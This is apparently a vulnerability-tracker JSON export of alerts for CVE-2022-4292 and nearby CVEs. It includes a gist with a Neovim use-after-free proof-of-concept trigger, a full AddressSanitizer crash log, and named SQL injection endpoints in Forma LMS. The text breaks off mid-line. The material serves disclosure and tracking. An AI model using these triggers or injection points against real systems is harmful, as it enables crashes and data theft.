{"vulnerability": "CVE-2022-4292", "sightings": [{"uuid": "a54f9cd1-1275-4cb3-9a25-59d8a387a788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42920", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114495083507817906", "content": "", "creation_timestamp": "2025-05-12T13:25:28.497500Z"}, {"uuid": "db594b80-817d-43e3-96ef-3d1d2da2cf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42924", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14867", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-42924\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)\n\ud83d\udd39 Description: Forma LMS on its 3.1.0 version and earlier is vulnerable to a SQL injection vulnerability. The exploitation of this vulnerability could allow an authenticated attacker (with the role of student) to perform a SQL injection on the 'dyn_filter' parameter in the 'appLms/ajax.adm_server.php?r=widget/userselector/getusertabledata' function in order to dump the entire database.\n\ud83d\udccf Published: 2022-10-31T19:59:33.604Z\n\ud83d\udccf Modified: 2025-05-05T14:03:19.048Z\n\ud83d\udd17 References:\n1. https://www.incibe-cert.es/en/early-warning/security-advisories/multiple-vulnerabilities-forma-lms", "creation_timestamp": "2025-05-05T14:20:38.000000Z"}, {"uuid": "ecb51848-f7ce-4066-a1b6-78e04bc32825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42925", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15222", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-42925\n\ud83d\udd25 CVSS Score: 9.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: There is a vulnerability on Forma LMS version 3.1.0 and earlier that could allow an authenticated attacker (with the role of student) to privilege escalate in order to upload a Zip file through the plugin upload component. The exploitation of this vulnerability could lead to a remote code injection.\n\ud83d\udccf Published: 2022-10-31T19:58:45.089Z\n\ud83d\udccf Modified: 2025-05-06T19:44:17.503Z\n\ud83d\udd17 References:\n1. https://www.incibe-cert.es/en/early-warning/security-advisories/multiple-vulnerabilities-forma-lms", "creation_timestamp": "2025-05-06T20:21:27.000000Z"}, {"uuid": "c8f6325a-8f62-4d60-9b91-dbde13894cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42920", "type": "seen", "source": "https://t.me/ctinow/182486", "content": "https://ift.tt/bZt20ju\nCVE-2022-42920 | Oracle Retail Advanced Inventory Planning 15.0.3/16.0.3 Operations/Maintenance out-of-bounds write", "creation_timestamp": "2024-02-10T09:07:11.000000Z"}, {"uuid": "b05aa04c-1215-45f2-bca5-ece3ba213552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42920", "type": "seen", "source": "https://t.me/ctinow/180551", "content": "https://ift.tt/FIyNo7d\nCVE-2022-42920 | Oracle Communications Service Catalog and Design 7.4.0.7.0/7.4.1.5.0/7.4.2.8.0 Order/Service Management out-of-bounds write", "creation_timestamp": "2024-02-07T07:36:30.000000Z"}, {"uuid": "c3f54512-bc51-4206-8b5b-ad0c6b78b6bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42920", "type": "seen", "source": "https://t.me/ctinow/181281", "content": "https://ift.tt/Jsq7V9I\nCVE-2022-42920 | Oracle Financial Services Behavior Detection Platform 8.0.8.1/8.1.1.1/8.1.2.5/8.1.2.6 Application out-of-bounds write", "creation_timestamp": "2024-02-08T11:07:11.000000Z"}, {"uuid": "db11650e-1c52-4905-8790-bcdf7c3f7637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42929", "type": "seen", "source": "https://t.me/cibsecurity/55181", "content": "\u203c CVE-2022-42929 \u203c\n\nIf a website called window.print() in a particular way, it could cause a denial of service of the browser, which may persist beyond browser restart depending on the user's session restore settings. This vulnerability affects Thunderbird < 102.4, Firefox ESR < 102.4, and Firefox < 106.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-22T22:27:19.000000Z"}, {"uuid": "1f8bf5dc-defd-4429-bdb6-08e189da9c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42920", "type": "seen", "source": "https://t.me/cibsecurity/52588", "content": "\u203c CVE-2022-42920 \u203c\n\nApache Commons BCEL has a number of APIs that would normally only allow changing specific class characteristics. However, due to an out-of-bounds writing issue, these APIs can be used to produce arbitrary bytecode. This could be abused in applications that pass attacker-controllable data to those APIs, giving the attacker more control over the resulting bytecode than otherwise expected. Update to Apache Commons BCEL 6.6.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-11-28T12:30:49.000000Z"}, {"uuid": "7e18a482-dab7-41ce-8feb-e4f22ed3c912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42927", "type": "seen", "source": "https://t.me/cibsecurity/55133", "content": "\u203c CVE-2022-42927 \u203c\n\nA same-origin policy violation could have allowed the theft of cross-origin URL entries, leaking the result of a redirect, via performance.getEntries(). This vulnerability affects Thunderbird < 102.4, Firefox ESR < 102.4, and Firefox < 106.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-22T22:20:01.000000Z"}, {"uuid": "97a6708b-dda1-4b66-8110-bdbd1865ea7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42924", "type": "seen", "source": "https://t.me/cibsecurity/52320", "content": "\u203c CVE-2022-42924 \u203c\n\nForma LMS on its 3.1.0 version and earlier is vulnerable to a SQL injection vulnerability. The exploitation of this vulnerability could allow an authenticated attacker (with the role of student) to perform a SQL injection on the 'dyn_filter' parameter in the 'appLms/ajax.adm_server.php?r=widget/userselector/getusertabledata' function in order to dump the entire database.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-10-31T23:13:27.000000Z"}, {"uuid": "cd1be932-2099-4412-b0fb-fe272f4bdae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42925", "type": "seen", "source": "https://t.me/cibsecurity/52331", "content": "\u203c CVE-2022-42925 \u203c\n\nThere is a vulnerability on Forma LMS version 3.1.0 and earlier that could allow an authenticated attacker (with the role of student) to privilege escalate in order to upload a Zip file through the plugin upload component. The exploitation of this vulnerability could lead to a remote code injection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-10-31T23:19:13.000000Z"}, {"uuid": "4fd1935c-9c26-412d-824f-df086f4cf0e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-42923", "type": "seen", "source": "https://t.me/cibsecurity/52317", "content": "\u203c CVE-2022-42923 \u203c\n\nForma LMS on its 3.1.0 version and earlier is vulnerable to a SQL injection vulnerability. The exploitation of this vulnerability could allow an authenticated attacker (with the role of student) to perform a SQL injection on the 'id' parameter in the 'appCore/index.php?r=adm/mediagallery/delete' function in order to dump the entire database or delete all contents from the 'core_user_file' table.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-10-31T23:13:21.000000Z"}, {"uuid": "49cdd82a-2e55-494d-b493-7ded1ffc5614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4292", "type": "seen", "source": "https://t.me/cibsecurity/54018", "content": "\u203c CVE-2022-4292 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0882.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-05T22:40:05.000000Z"}, {"uuid": "80aa0aa8-a67b-4c70-84dc-a701e1accaf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4292", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/fdd41483e9235cb21503c71e26ae32ef", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_spell_file_missing_bwipe()\n\nline 12: \n\nline 13: call Test_spell_file_missing_bwipe()\n\ncalling Test_spell_file_missing_bwipe()\n\nline 1:   set spelllang=xy\n\nSearching for \"spell/xy.vim\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.vim\"\nSearching for \"/usr/local/lib/nvim/spell/xy.vim\"\nnot found in runtime path: \"spell/xy.vim\"\nline 2:   au SpellFileMissing * n0\n\nline 3:   set spell\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"*\"\nautocommand n0\n\nExecuting: n0\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n\nline 4:   au SpellFileMissing * bw\n\nline 5:   snext somefile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"*\"\nautocommand n0\n\nExecuting: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nline 5: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n=================================================================\n==11802==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003110 at pc 0x000000a22de2 bp 0x7ffffad43290 sp 0x7ffffad43288\nREAD of size 8 at 0x626000003110 thread T0\n    #0 0xa22de1 in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2098:17\n    #1 0x712e7b in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2770:11\n    #2 0x5b3945 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:595:9\n    #3 0x5b3517 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:627:5\n    #4 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #6 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #7 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #8 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #9 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #10 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #11 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #12 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #16 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #17 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #23 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #24 0x7f85ca803082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #25 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x626000003110 is located 16 bytes inside of 10488-byte region [0x626000003100,0x6260000059f8)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0x5bd6e8 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1922:7\n    #3 0x5bf7ac in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1532:10\n    #4 0xa23207 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1534:14\n    #5 0xa21f32 in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1964:9\n    #6 0x712e7b in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2770:11\n    #7 0x5b3945 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:595:9\n    #8 0x5b3517 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:627:5\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #13 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #14 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #15 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #16 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #17 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #19 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #20 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #21 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #22 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #23 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #24 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #25 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #26 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #27 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #28 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #29 0x7f85ca803082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4df842 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df842)\n    #1 0x88a332 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:15\n    #2 0xb26d0b in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4946:19\n    #3 0xb2cdd5 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c\n    #4 0xb222f3 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #5 0x5b3788 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:565:11\n    #6 0x5b3517 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:627:5\n    #7 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #8 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #9 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #10 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #11 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #12 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #13 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #14 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #18 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #19 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #20 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #21 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #22 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #23 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #24 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #25 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #26 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #27 0x7f85ca803082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2098:17 in did_set_spelllang\nShadow bytes around the buggy address:\n  0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==11802==ABORTING\n\n\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_spell_file_missing_bwipe()\n\nline 12: \n\nline 13: call Test_spell_file_missing_bwipe()\n\ncalling function Test_spell_file_missing_bwipe()\n\nline 1:   set spelllang=xy\n\nSearching for \"spell/xy.vim\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.vim\"\nSearching for \"/usr/local/lib/nvim/spell/xy.vim\"\nnot found in runtime path: \"spell/xy.vim\"\nline 2:   au SpellFileMissing * n0\n\nline 3:   set spell\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"*\"\nautocommand n0\n\nExecuting: n0\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n\nline 4:   au SpellFileMissing * bw\n\nline 5:   snext 